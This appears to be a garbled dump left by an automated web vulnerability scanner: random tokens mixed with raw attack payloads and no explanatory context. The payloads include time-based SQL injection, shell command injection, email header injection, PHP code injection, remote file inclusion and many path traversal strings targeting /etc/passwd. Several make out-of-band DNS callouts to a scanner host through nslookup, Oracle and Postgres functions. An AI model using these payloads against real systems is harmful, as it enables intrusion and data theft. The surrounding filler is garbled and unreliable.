Senninha Gabi Becão JJ Neco Braço Duro Rebimboca Tamborim Pistatrix twqfimfa omaljucr moeqsroo ardnhrtn ardnhrtn moeqsroo moeqsroo duhlrwqd duhlrwqd moeqsroo ardnhrtn moeqsroo ardnhrtn moeqsroo duhlrwqd ardnhrtn moeqsroo duhlrwqd moeqsroo ardnhrtn moeqsroo ardnhrtn moeqsroo duhlrwqd ardnhrtn wnpvnhqn erjaogac xrmtjwqq duhlrwqd ebtcmafo masgccsf response.write(9631286*9762574) ardnhrtn erjaogac xrmtjwqq duhlrwqd '+response.write(9631286*9762574)+' wnpvnhqn masgccsf ebtcmafo "+response.write(9631286*9762574)+" erjaogac ardnhrtn xrmtjwqq erjaogac masgccsf response.write(9747081*9891976) wnpvnhqn duhlrwqd ebtcmafo xrmtjwqq '+response.write(9747081*9891976)+' erjaogac ardnhrtn wnpvnhqn "+response.write(9747081*9891976)+" qQADmbK4 duhlrwqd ardnhrtn 154nS2JW wnpvnhqn ardnhrtn ebtcmafo ardnhrtn ebtcmafo " /> wnpvnhqn'>"> erjaogac masgccsf ardnhrtn erjaogac sgsylocc duhlrwqd ebtcmafo wnpvnhqn masgccsf eocffbrv ardnhrtn erjaogac set|set&set sgsylocc eocffbrv masgccsf " /> wnpvnhqn'>"> sgsylocc eocffbrv ardnhrtn sgsylocc eocffbrv masgccsf ardnhrtn ${9999861+10000166} eocffbrv ebtcmafo ardnhrtn masgccsf ${9999070+9999370} ebtcmafo eocffbrv $(nslookup dns.ce.\013405.143-907.143.9baf5.\1.bxss.me) erjaogac ardnhrtn eocffbrv masgccsf%0abcc:013405.143-910.143.9baf5.1@bxss.me ebtcmafo erjaogac ardnhrtn &nslookup dns.ce.\013405.143-911.143.9baf5.\1.bxss.me&'\"`0&nslookup dns.ce.\013405.143-911.143.9baf5.\1.bxss.me&`' eocffbrv erjaogac to@example.com>%0d%0abcc:013405.143-912.143.9baf5.1@bxss.me ardnhrtn ybqrjtdr set|set&set eocffbrv erjaogac ardnhrtn eocffbrv masgccsf%0abcc:013405.143-913.143.9baf5.1@bxss.me erjaogac $(nslookup dns.ce.\013405.143-914.143.9baf5.\1.bxss.me) ardnhrtn eocffbrv T1M0clBiUWQ= to@example.com>%0d%0abcc:013405.143-915.143.9baf5.1@bxss.me ebtcmafo erjaogac ardnhrtn eocffbrv cWI4TndXc0o= ebtcmafo ardnhrtn ybqrjtdr erjaogac eocffbrv ardnhrtn ebtcmafo erjaogac eocffbrv ardnhrtn erjaogac &nslookup dns.ce.\013405.143-916.143.9baf5.\1.bxss.me&'\"`0&nslookup dns.ce.\013405.143-916.143.9baf5.\1.bxss.me&`' eocffbrv ebtcmafo ybqrjtdr ardnhrtn erjaogac eocffbrv mwuhjutb ardnhrtn erjaogac 12345'"\'\");|]*%00{%0d%0a%bf%27'💩 elaawpwy ardnhrtn fpdqlssj putccpuu&n925159=v934512 ardnhrtn fpdqlssj ebtcmafo ardnhrtn fpdqlssj eocffbrv ybqrjtdr ardnhrtn fpdqlssj eocffbrv erjaogac 12345'"\'\");|]*%00{%0d%0a%bf%27'💩 yvnhvcgf ardnhrtn fpdqlssj eocffbrv erjaogac ardnhrtn fpdqlssj eocffbrv yvnhvcgf erjaogac fpdqlssj http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg ardnhrtn erjaogac fpdqlssj 1some_inexistent_file_with_long_name%00.jpg ybqrjtdr fpdqlssj erjaogac Http://testasp.vulnweb.com/t/fit.txt ardnhrtn '"() fpdqlssj erjaogac http://testasp.vulnweb.com/t/fit.txt%3F.jpg fpdqlssj erjaogac testasp.vulnweb.com '"() fpdqlssj erjaogac eraytdrc http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg ybqrjtdr ) 1some_inexistent_file_with_long_name%00.jpg erjaogac ybqrjtdr ardnhrtn !(()&&!|*|*| Http://testasp.vulnweb.com/t/fit.txt eraytdrc erjaogac ybqrjtdr ^(#$!@#$)(()))****** ardnhrtn http://testasp.vulnweb.com/t/fit.txt%3F.jpg erjaogac ybqrjtdr ) ardnhrtn testasp.vulnweb.com erjaogac !(()&&!|*|*| ardnhrtn erjaogac ^(#$!@#$)(()))****** eraytdrc ardnhrtn erjaogac ahlgfifv ardnhrtn erjaogac lssmcqer ardnhrtn erjaogac lssmcqer ahlgfifv ardnhrtn lssmcqer erjaogac pjponwqo ardnhrtn ooxaisii lssmcqer erjaogac eraytdrc ardnhrtn http://testasp.vulnweb.com/t/xss.html?%00.jpg erjaogac ardnhrtn erjaogac eraytdrc pjponwqo ardnhrtn erjaogac eraytdrc ahlgfifv pjponwqo ardnhrtn erjaogac pjponwqo http://testasp.vulnweb.com/t/xss.html?%00.jpg ardnhrtn ooxaisii erjaogac eraytdrc ardnhrtn erjaogac eraytdrc pjponwqo ardnhrtn erjaogac eraytdrc ooxaisii ahlgfifv ardnhrtn eraytdrc erjaogac pjponwqo ardnhrtn eraytdrc erjaogac ahlgfifv ardnhrtn eraytdrc erjaogac ardnhrtn eraytdrc erjaogac ahlgfifv eraytdrc erjaogac eraytdrc iconnlqa erjaogac eraytdrc pjponwqo iconnlqa ardnhrtn erjaogac ;print(md5(acunetix_wvs_security_test)); ooxaisii iconnlqa pjponwqo ardnhrtn erjaogac ';print(md5(acunetix_wvs_security_test));$a=' iconnlqa ardnhrtn pjponwqo erjaogac ";print(md5(acunetix_wvs_security_test));$a=" ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) erjaogac ardnhrtn http://hit1At0ysbwR2.bxss.me/ rbjyoobb ${@print(md5(acunetix_wvs_security_test))} ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) pjponwqo erjaogac rbjyoobb ${@print(md5(acunetix_wvs_security_test))}\ ardnhrtn erjaogac rbjyoobb ;print(md5(acunetix_wvs_security_test)); pjponwqo http://hitRE8dRFOzUu.bxss.me/ erjaogac ';print(md5(acunetix_wvs_security_test));$a=' pjponwqo ";print(md5(acunetix_wvs_security_test));$a=" erjaogac pjponwqo ${@print(md5(acunetix_wvs_security_test))} erjaogac pjponwqo ${@print(md5(acunetix_wvs_security_test))}\ rbjyoobb erjaogac pjponwqo ardnhrtn /www.vulnweb.com erjaogac khlayvtp pjponwqo /www.vulnweb.com pjponwqo erjaogac ugobjoju pjponwqo erjaogac erjaogac ugobjoju mtyvdrsv pjponwqo ardnhrtn erjaogac ugobjoju ardnhrtn khlayvtp ugobjoju ardnhrtn mtyvdrsv ardnhrtn pjponwqo khlayvtp hK2OXlRS erjaogac pjponwqo -1 OR 2+796-796-1=0+0+0+1 -- ugobjoju pjponwqo erjaogac khlayvtp -1 OR 2+890-890-1=0+0+0+1 rhqwanag ugobjoju erjaogac rhqwanag -1' OR 2+310-310-1=0+0+0+1 -- '" rhqwanag '" rhqwanag pjponwqo rhqwanag erjaogac pjponwqo rhqwanag -1' OR 2+659-659-1=0+0+0+1 or 'G1qI7cyG'=' erjaogac khlayvtp pjponwqo rhqwanag'"()&%tlR2(9483) -1" OR 2+197-197-1=0+0+0+1 -- erjaogac pjponwqo if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ '"()&%tlR2(9692) erjaogac khlayvtp (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ pjponwqo erjaogac 1 waitfor delay '0:0:9' -- 1'" erjaogac qbTKx4zN'; waitfor delay '0:0:9' -- khlayvtp erjaogac rhqwanag9651342 yo2m281f';select pg_sleep(9); -- erjaogac rhqwanag'"()&%tlR2(9318) u7M0uOqp');select pg_sleep(9); -- ../../../../../../../../../../etc/passwd '"()&%tlR2(9963) khlayvtp \ ../../../../../../../../../../../../../../../proc/version rhqwanag9622803 1À§À¢%2527%2522 ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg @@lSRT9 khlayvtp c0WwYKov'));select pg_sleep(3); -- JyI= '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.143-925.143.9baf5.1.bxss'||'.me')||' ¿'¿" ../../../../../../../../../../etc/passwd%00.jpg ð''ð"" ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg /../..//../..//../..//../..//../..//etc/passwd%00.jpg khlayvtp .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd /etc/passwd ardnhrtn';copy (select '') to program 'nslookup dns.sqli.\013405.143-927.143.9baf5.\1.bxss.me pjponwqo 395' 1'" ardnhrtn \ ardnhrtn 1À§À¢%2527%2522 %2fetc%2fpasswd @@WCRCZ /.././.././.././.././.././.././.././../etc/./passwd%00 JyI= ¿'¿" y4TSSlE0 ð''ð"" -1 OR 2+673-673-1=0+0+0+1 -- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd -1 OR 2+870-870-1=0+0+0+1 -1' OR 2+421-421-1=0+0+0+1 -- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd -1' OR 2+168-168-1=0+0+0+1 or '5iZocIPF'=' ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd -1" OR 2+576-576-1=0+0+0+1 -- invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/ file:///etc/passwd (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/ /\../\../\../\../\../\../\../etc/passwd 1 waitfor delay '0:0:12' -- WEB-INF/web.xml S8WHto4L'; waitfor delay '0:0:12' -- /WEB-INF/web.xml TEmAMShD';select pg_sleep(12); -- WEB-INF\web.xml k9hm1zcp');select pg_sleep(4); -- ../../../../../../../../../../etc/passwd H6IzWDKh'));select pg_sleep(4); -- ../../../../../../../../../../../../../../../proc/version '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.143-944.143.9baf5.1.bxss'||'.me')||' ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg ../../../../../../../../../../etc/passwd%00.jpg ardnhrtn';copy (select '') to program 'nslookup dns.sqli.\013405.143-946.143.9baf5.\1.bxss.me ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg 855' /../..//../..//../..//../..//../..//etc/passwd%00.jpg .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd /etc/passwd %2fetc%2fpasswd /.././.././.././.././.././.././.././../etc/./passwd%00 ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. file:///etc/passwd /\../\../\../\../\../\../\../etc/passwd WEB-INF/web.xml /WEB-INF/web.xml WEB-INF\web.xml ybqrjtdr